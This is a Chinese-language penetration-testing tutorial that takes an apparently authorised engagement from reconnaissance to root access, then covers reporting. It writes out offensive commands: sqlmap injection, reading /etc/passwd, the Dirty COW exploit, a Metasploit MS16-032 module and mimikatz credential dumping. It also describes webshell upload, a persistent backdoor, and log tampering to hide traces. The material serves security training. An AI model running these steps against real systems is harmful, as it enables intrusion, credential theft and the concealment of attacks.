渗透测试全流程实战：从信息收集到权限提升
1. 渗透测试实战全流程解析
最近在安全圈内完成了一次完整的渗透测试项目，从初期信息收集到最终获取系统权限，整个过程充满了技术细节和实战技巧。这次我想把完整的操作流程和关键节点记录下来，特别适合刚入行安全测试的朋友参考。
渗透测试本质上是一场经过授权的模拟攻击，目的是发现系统中存在的安全隐患。与恶意黑客不同，我们会在明确授权范围内操作，所有发现的问题都会形成报告提交给客户。这次测试的目标是一个中型企业的Web应用系统，测试范围包括前端网站、后端API以及服务器环境。
2. 踩点阶段：信息收集的艺术
2.1 被动信息收集
被动收集就像侦探工作，在不直接接触目标系统的情况下获取信息。我通常会从这几个方面入手：
- WHOIS查询：获取域名注册信息，有时能发现管理员邮箱、电话等敏感信息。使用命令：
whois example.com- DNS枚举：通过DNS记录发现子域名和其他关联系统。推荐使用dnsenum工具：
dnsenum -f /usr/share/dnsenum/dns.txt example.com- 搜索引擎技巧：使用Google dork语法查找可能暴露的敏感文件。例如：
site:example.com ext:pdf | ext:doc | ext:xls注意：被动收集阶段要特别注意不要触发目标系统的安全警报，所有操作都应控制在合理频率内。
2.2 主动扫描技术
在获得明确授权后，可以开始主动扫描：
- Nmap基础扫描：
nmap -sS -sV -O -T4 -p- target_ip参数说明：
- -sS：SYN扫描（半开扫描）
- -sV：服务版本探测
- -O：操作系统识别
- -T4：加速扫描（共6级）
- -p-：全端口扫描
- Web目录爆破：使用dirsearch工具寻找隐藏路径
python3 dirsearch.py -u http://example.com -e php,asp,aspx,jsp- 漏洞扫描：Nessus或OpenVAS进行自动化漏洞评估
3. 漏洞利用与初步入侵
3.1 Web应用漏洞利用
在这次测试中，我们发现目标系统存在SQL注入漏洞。使用sqlmap进行自动化检测：
sqlmap -u "http://example.com/search?id=1" --dbs --batch关键参数：
- --dbs：枚举数据库
- --batch：自动选择默认选项
3.2 获取初始立足点
通过SQL注入获取管理员凭据后，我们成功登录后台并发现文件上传功能存在缺陷：
- 上传webshell（使用蚁剑生成的php马）
- 通过中国菜刀连接获取webshell
- 在服务器上建立持久化后门
重要提示：实际操作中必须严格遵守授权范围，不得上传真实恶意软件，应使用测试专用webshell。
4. 权限提升实战记录
4.1 Linux系统提权
在获取低权限shell后，开始系统提权尝试：
- 信息收集：
uname -a # 内核版本 cat /etc/passwd # 用户列表 sudo -l # sudo权限检查 find / -perm -4000 2>/dev/null # SUID文件查找- 发现存在脏牛漏洞（CVE-2016-5195），使用公开exp编译执行：
gcc dirtycow.c -o dirtycow -pthread ./dirtycow- 成功获取root权限后立即记录证据并退出
4.2 Windows系统提权
在另一个测试案例中遇到Windows服务器，提权过程如下：
- 使用systeminfo检查系统补丁情况
- 发现未安装MS16-032补丁
- 使用Metasploit模块：
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set session 1 exploit5. 后渗透与痕迹清理
5.1 内网横向移动
获取服务器权限后，开始内网探测：
- 使用nmap扫描内网段：
nmap -sn 192.168.1.0/24- 抓取密码哈希：
mimikatz.exe "sekurlsa::logonpasswords" exit- 使用psexec进行哈希传递攻击
5.2 日志清理技巧
测试完成后必须清理痕迹：
- 清除bash历史：
history -c- 删除上传的工具：
shred -zu filename- 修改关键日志文件时间戳
6. 报告撰写与漏洞修复建议
6.1 漏洞风险评级
根据CVSS标准评估发现的问题：
| 漏洞类型 | CVSS评分 | 风险等级 | 修复优先级 |
|---|---|---|---|
| SQL注入 | 9.8 | 严重 | 紧急 |
| 文件上传 | 8.5 | 高危 | 高 |
| 脏牛提权 | 7.8 | 高危 | 高 |
6.2 修复建议示例
对于SQL注入漏洞，建议：
- 使用参数化查询替代字符串拼接
- 实施最小权限原则
- 部署WAF作为临时防护措施
- 定期进行代码审计
7. 渗透测试中的法律与道德
在实际操作中必须注意：
- 确保获得书面授权
- 明确测试范围和规则
- 不进行破坏性测试
- 严格保护客户数据
- 及时报告高风险漏洞
8. 工具链与学习资源
我的常用工具清单：
- 信息收集：Maltego, theHarvester
- 漏洞扫描：Nessus, OpenVAS
- 渗透框架：Metasploit, Cobalt Strike
- Web测试：Burp Suite, OWASP ZAP
- 密码破解：Hashcat, John the Ripper
推荐学习路径：
- 先掌握网络和系统基础知识
- 学习OWASP Top 10漏洞原理
- 在合法靶场练习（如DVWA、Vulnhub）
- 考取OSCP等实操认证
在最近一次测试中，我发现很多企业仍然忽视基础安全防护。通过这次记录，希望能让更多人了解渗透测试的价值 - 它不是黑客行为，而是帮助企业发现安全隐患的重要服务。每个步骤都需要严谨和负责的态度，这也是安全从业者的基本职业素养。